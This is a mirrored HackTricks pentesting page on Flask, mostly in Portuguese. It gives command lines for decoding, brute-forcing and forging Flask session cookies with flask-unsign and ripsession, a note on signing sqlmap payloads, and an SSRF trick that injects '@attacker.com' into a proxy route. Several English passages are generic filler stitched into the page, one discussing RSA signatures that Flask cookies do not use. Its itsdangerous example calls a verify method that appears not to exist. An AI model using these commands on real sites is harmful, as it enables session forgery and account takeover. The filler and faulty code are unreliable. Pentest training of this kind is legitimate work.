Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-01 00:49:40 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/pentesting-web/flask.md

186 lines
11 KiB
Markdown
Raw Blame History

# Flask
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../../.gitbook/assets/image (9) (1) (2).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
Obtenha acesso hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
**Provavelmente, se você estiver jogando um CTF, uma aplicação Flask estará relacionada a** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.**
## Cookies
O nome padrão da sessão do cookie é **`session`**.
### Decodificador
Decodificador online de cookies Flask: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
#### Manual
Obtenha a primeira parte do cookie até o primeiro ponto e decodifique em Base64>
```bash
echo "ImhlbGxvIg" | base64 -d
```
O cookie também é assinado usando uma senha
### **Flask-Unsign**
Ferramenta de linha de comando para buscar, decodificar, forçar bruta e criar cookies de sessão de uma aplicação Flask ao adivinhar chaves secretas.
{% embed url="https://pypi.org/project/flask-unsign/" %}
```bash
pip3 install flask-unsign
```
#### **Decodificar Cookie**
A cookie is a small piece of data that is stored on the client-side and is used to store information about the user. Cookies are often used in web applications to maintain user sessions and personalize the user experience.
When performing a web application penetration test, it is important to understand how cookies are being used and if they are properly secured. One way to do this is by decoding the cookie to see its contents.
To decode a cookie, you can use various tools and techniques. One common method is to use a browser extension or developer tools to view the cookie's value in plain text. Another option is to use a programming language like Python to decode the cookie programmatically.
Here is an example of how you can decode a cookie using Python:
```python
import base64
def decode_cookie(cookie):
decoded_cookie = base64.b64decode(cookie)
return decoded_cookie.decode('utf-8')
cookie = 'SGVsbG8gV29ybGQh'
decoded_cookie = decode_cookie(cookie)
print(decoded_cookie)
```
In this example, the `base64` module is used to decode the cookie. The `decode_cookie` function takes a cookie as input, decodes it using `base64.b64decode`, and returns the decoded cookie as a string.
By decoding the cookie, you can see its contents and understand what information is being stored. This can be useful for identifying potential security vulnerabilities, such as sensitive data being stored in cookies without proper encryption or protection.
It is important to note that decoding a cookie does not modify its value or affect the web application in any way. It is simply a way to view the contents of the cookie for analysis purposes.
Remember to always obtain proper authorization before performing any penetration testing activities.
```bash
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
```
#### **Força Bruta**
```bash
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
```
#### **Assinatura**
A assinatura é um mecanismo de autenticação usado para verificar a integridade e a autenticidade dos dados transmitidos. No contexto da segurança da web, a assinatura é frequentemente usada para proteger as sessões de comunicação entre o cliente e o servidor.
Existem diferentes algoritmos de assinatura disponíveis, como RSA, DSA e ECDSA. Esses algoritmos usam chaves públicas e privadas para criar e verificar assinaturas digitais.
Ao realizar testes de penetração em serviços da web, é importante verificar se a assinatura está sendo usada corretamente. Isso envolve verificar se a assinatura é gerada corretamente, se a chave privada é armazenada de forma segura e se a verificação da assinatura é feita adequadamente no servidor.
Os testes de penetração podem incluir tentativas de falsificar assinaturas, explorar vulnerabilidades relacionadas à assinatura e verificar se há vazamento de informações sensíveis relacionadas à assinatura.
```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
```
#### Assinando usando versões antigas (legado)
When using legacy versions of Flask, it is important to be aware of potential security vulnerabilities. Older versions of Flask may not have implemented the latest security features and patches, making them more susceptible to attacks.
To sign data using legacy versions of Flask, you can use the `itsdangerous` library. This library provides a `Signer` class that can be used to generate and verify signatures.
Here is an example of how to sign data using the `Signer` class:
```python
from itsdangerous import Signer
# Create a signer object with a secret key
signer = Signer('my_secret_key')
# Sign some data
data = 'Hello, world!'
signature = signer.sign(data)
# Verify the signature
is_valid = signer.verify(signature)
print(is_valid) # True
```
In this example, we create a `Signer` object with a secret key. We then use the `sign()` method to generate a signature for the data. The resulting signature can be stored or transmitted along with the data.
To verify the signature, we use the `verify()` method of the `Signer` object. This method returns `True` if the signature is valid, and `False` otherwise.
It is important to keep the secret key used for signing secure. If an attacker gains access to the secret key, they can generate valid signatures and potentially impersonate trusted entities.
By using the `itsdangerous` library, you can sign data securely even when using legacy versions of Flask. However, it is recommended to keep your Flask version up to date to benefit from the latest security enhancements and patches.
```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
```
### **RIPsession**
Ferramenta de linha de comando para realizar brute-force em sites usando cookies criados com flask-unsign.
{% embed url="https://github.com/Tagvi/ripsession" %}
```bash
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
```
### SQLi em cookie de sessão Flask com SQLmap
[**Este exemplo**](../../pentesting-web/sql-injection/sqlmap/#eval) utiliza a opção `eval` do sqlmap para **automaticamente assinar payloads do sqlmap** para o Flask usando um segredo conhecido.
## Proxy Flask para SSRF
[**Neste artigo**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) é explicado como o Flask permite uma solicitação que começa com o caractere "@":
```http
GET @/ HTTP/1.1
Host: target.com
Connection: close
```
Qual no seguinte cenário:
```python
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
```
Poderia permitir introduzir algo como "@attacker.com" para causar um **SSRF**.
<figure><img src="../../.gitbook/assets/image (9) (1) (2).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
Acesse hoje mesmo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Reference in a new issue View git blame Copy permalink